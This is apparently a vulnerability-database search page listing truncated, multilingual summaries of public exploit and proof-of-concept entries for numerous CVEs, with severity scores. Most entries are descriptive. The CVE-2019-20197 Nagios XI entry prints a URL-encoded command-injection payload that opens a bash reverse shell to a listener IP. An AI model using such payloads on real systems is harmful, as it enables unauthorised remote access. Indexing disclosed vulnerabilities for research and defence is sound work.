Lucene search
+L

75561 matches found

Kitploit
Kitploit
added 2026/08/26 9:01 p.m.2 views

Privilege-escalation-MitraStar

Privilege-escalation-MitraStar-Router-GPT-2541GNAC-N1 CVE-2021-42165 Privilege escalation vulnerability on MitraStar routers Device: Mitrastar GPT-2541GNAC-N1 Firmware: BRg3.5100VNZ0b33 not tested in other version Exploit: Mitrastar GPT-2541GNAC-N1 devices are provided with access through ssh int...

9CVSS8.1AI score0.14104EPSS
SaveExploits2
Kitploit
Kitploit
added 2026/08/26 8:58 p.m.3 views

CVE-2020-12124

Anatomía de un Exploit de IoT, del Práctico al RCE originalmente en https://www.klogixsecurity.com/scorpion-labs-blog/anatomy-of-an-iot-exploit-from-hands-on-to-rce por David E. Baker, publicado el 1 de junio de 2023 Prefacio Este estudio trata sobre el firmware del router Gigabit inalámbrico...

10CVSS8.6AI score0.7465EPSS
SaveExploits0
Kitploit
Kitploit
added 2026/08/26 8:58 p.m.3 views

FORTIWEB_CVE-2025-64446-58034

Simulación de explotación de FortiWeb CVE-2025-64446 & CVE-2025-58034 Nota: Este documento es solo para fines educativos y de investigación de seguridad. No lo utilice para atacar sistemas sin autorización. 1. Resumen FortiWeb es un dispositivo Web Application Firewall WAF utilizado para proteger...

9.8CVSS7.7AI score0.91838EPSS
SaveExploits21
Kitploit
Kitploit
added 2026/08/26 8:53 p.m.3 views

CVE-2022-46169

CVE-2022-46169 POC Este es un script de Prueba de Concepto POC para la vulnerabilidad CVE-2022-46169 que afecta a Cacti versión 1.2.22. Descripción La vulnerabilidad CVE-2022-46169 permite una inyección de comandos sin autenticación en versiones de Cacti hasta la 1.2.22, logrando así una ejecució...

9.8CVSS9AI score0.99826EPSS
SaveExploits48
Kitploit
Kitploit
added 2026/08/26 8:49 p.m.2 views

linux_mint_poc

Linux Mint 18.3-19.1 'yelp' command injection bug Root cause The URI handlers help://, ghelp://, and man:// are defined in the file /usr/share/applications/yelp.desktop which will execute /usr/local/bin/yelp via Exec=yelp %u whenever one of those URI handlers is invoked. The file...

5.4AI score
SaveExploits0
Kitploit
Kitploit
added 2026/08/26 8:30 p.m.2 views

nagios-xi-5.7.5-bugs

nagios-xi-5.7.5-bugs Bugs reported to Nagios XI CVE-2021-25296 Code Location /usr/local/nagiosxi/html/includes/configwizards/windowswmi/windowswmi.inc.php Code snippet root@kitploit: if !empty$pluginoutputlen $diskwmicommand .= " --forcetruncateoutput " . $pluginoutputlen; $servicewmicommand .= "...

9CVSS8AI score0.71536EPSS
SaveExploits7
Kitploit
Kitploit
added 2026/08/26 8:22 p.m.3 views

CVE-2018-19518

CVE-2018-19518 último informe aquí: https://gitlab.com/ensimag-security/CVE-2018-19518/-/jobs/artifacts/master/raw/rapport.pdf?job=PDF Uso ejecutar la aplicación root@kitploit: docker-compose up -d ejemplo de uso normal para la aplicación web. imap : webmail.grenoble-inp.org user :...

8.5CVSS6.5AI score0.9523EPSS
SaveExploits5References1
Kitploit
Kitploit
added 2026/08/26 8:19 p.m.4 views

dnsobserver

DNSObserver Un práctico servicio DNS escrito en Go para ayudar en la detección de varios tipos de vulnerabilidades ciegas. Monitorea el servidor de un pentester en busca de interacciones DNS fuera de banda y envía notificaciones con los detalles de la solicitud recibida a través de Slack...

5.4AI score
SaveExploits0
Kitploit
Kitploit
added 2026/08/26 7:57 p.m.3 views

CVE-2023-34992

CVE-2023-34992: Fortinet FortiSIEM Injeção de Comandos Não Autenticada Exploit de prova de conceito para executar comandos cegamente como root em appliances FortiSIEM vulneráveis Postagem do Blog Causa raiz e indicadores de comprometimento aqui:...

10CVSS9.2AI score0.80061EPSS
SaveExploits1
Kitploit
Kitploit
added 2026/08/26 7:55 p.m.2 views

CVE-2023-33381-MitraStar-GPT-2741GNAC

CVE-2023-33381-MitraStar-GPT-2741GNAC CVE-2023-33381: Injeção de comando do sistema operacional no MitraStar GPT-2741GNAC Device: GPT-2741GNAC Firmware Version: ARg5.8110WVN0b72 Descrição da Vulnerabilidade: Ao fazer login via SSH, notei imediatamente o conjunto limitado de comandos e opções...

7.2CVSS7.1AI score0.22355EPSS
SaveExploits1
Kitploit
Kitploit
added 2026/08/26 7:55 p.m.2 views

CVE-2022-36446-Webmin-RCE

CVE-2022-36446 — Webmin 1.997 RCE Autenticado Exploit para a vulnerabilidade de Remote Code Execution no Webmin versões anteriores a 1.997, através do módulo Software Package Updates. Como funciona? O módulo Software Package Updates do Webmin não sanitiza corretamente o parâmetro u antes de...

9.8CVSS8.9AI score0.96049EPSS
SaveExploits8
Kitploit
Kitploit
added 2026/08/26 7:53 p.m.2 views

CVE-2024-37770

CVE-2024-37770 descrizione È stato scoperto che 14Finger v1.1 contiene una vulnerabilità di esecuzione remota di comandi RCE nella funzione fingerprint. Questa vulnerabilità consente agli attacker di eseguire comandi arbitrari tramite un payload appositamente predisposto. Vettore di attacco...

9.1CVSS8.7AI score0.0157EPSS
SaveExploits1
Kitploit
Kitploit
added 2026/08/26 7:53 p.m.2 views

Shellshock_vuln_Exploit

🚨 استغلال Shellshock RCE CVE-2014-6271 هذا استغلال Exploit بلغة بايثون لـ ثغرة Shellshock CVE-2014-6271، والتي تؤثر على GNU Bash. يستهدف الاستغلال نصوص CGI على خوادم الويب الضعيفة وينشئ صدفة عكسية reverse shell إلى جهاز المهاجم. معرف CVE CVE-2014-6271 إخلاء مسؤولية هذه الأداة مخصصة فقط للأغراض...

10CVSS8.7AI score0.99999EPSS
SaveExploits138
Kitploit
Kitploit
added 2026/08/26 7:52 p.m.3 views

CVE-2019-20197

CVE-2019-20197 Nagios XI vulnerabilità di esecuzione remota di comandi = v5.6.9 Payload http://10.10.20.100:81/nagiosxi//includes/components/scheduledreporting/schedulereport.php id=a%22%3B%2fbin%2fbash%20-l%20%3E%20%2fdev%2ftcp%2f10.10.20.166%2f8989%200%3C%261%202%3E%261%0A%3B Burpsuite...

9CVSS8.5AI score0.22404EPSS
SaveExploits1
Kitploit
Kitploit
added 2026/08/26 7:52 p.m.2 views

CVE-2024-46658

CVE-2024-46658 Syrotech SY-GOPON-8OLT-L3 v1.6.0240629 Vulnerabilità di Iniezione di Comandi Utilizzo 1- Modifica l'URL nello script. 2- Modifica il valore CookieLogin nello script. 3- Esegui lo script, ti permetterà di eseguire comandi. Dettagli della Vulnerabilità GET...

8CVSS5.2AI score0.24358EPSS
SaveExploits0
Kitploit
Kitploit
added 2026/08/26 7:51 p.m.4 views

ble_norton_core

Injection de commande PoC dans le service BLE du routeur WiFi sécurisé Norton Core CVE-2018-5234 Pour plus d'informations, lisez paper. Pour démontrer l'exploitation, nous utiliserons : OS GNU/Linux ; Adaptateur Bluetooth USB ; Utilitaire BlueZ pour tester la connexion Bluetooth. Afin d'utiliser ...

8.3CVSS7.8AI score0.16711EPSS
SaveExploits4
Kitploit
Kitploit
added 2026/08/26 7:50 p.m.4 views

CVE-2024-24576-PoC-Python

CVE-2024-24576-Poc-Python Un rapido POC per la vulnerabilità divulgata qui https://flatt.tech/research/posts/batbadbut-you-cant-securely-execute-commands-on-windows/ Dopo aver eseguito lo script, ti verrà chiesto di passare un arg al file BAT. Nello screenshot puoi vedere che aggiungendo " l'API...

10CVSS8.6AI score0.20342EPSS
SaveExploits10References1
Kitploit
Kitploit
added 2026/08/26 7:49 p.m.2 views

cve-2022-33891

CVE-2022-33891 Sicherheitslücke zur Befehlseinschleusung in der Apache Spark Shell Ein Python-POC zur Ausnutzung der Sicherheitslücke zur Befehlseinschleusung in der Apache Spark Shell. Ich habe einige andere POCs gesehen, aber sie sahen sehr verdächtig aus. Dieser ist sauber und einfach. Ich hab...

8.8CVSS8.2AI score0.93076EPSS
SaveExploits12
Kitploit
Kitploit
added 2026/08/26 7:49 p.m.2 views

CVE-2024-51567

CVE-2024-51567 Exploit स्क्रिप्ट CVE-2024-51567 एक Python प्रूफ-ऑफ-कॉन्सेप्ट PoC एक्सप्लॉइट स्क्रिप्ट है जो CVE-2024-51567 के लिए है, जो CyberPanel v2.3.6 को प्रभावित करने वाली एक गंभीर कमांड इंजेक्शन भेद्यता है। upgrademysqlstatus एंडपॉइंट में पाई गई यह भेद्यता, CSRF सुरक्षा को बायपास करके और...

10CVSS9AI score0.86518EPSS
SaveExploits7
Kitploit
Kitploit
added 2026/08/26 7:47 p.m.2 views

CVE-2019-12725-Command-Injection

POC CVE-2019-12725-Esecuzione-di-Comandi-Remoti ZeroShell 3.9.0 Iniezione di Comandi Remoti Zeroshell 3.9.0 è soggetto a una vulnerabilità di esecuzione di comandi remoti. Nello specifico, il problema si verifica perché l'applicazione web gestisce in modo errato alcuni parametri HTTP. Un utente...

10CVSS8.6AI score0.89849EPSS
SaveExploits11
Rows per page
Query Builder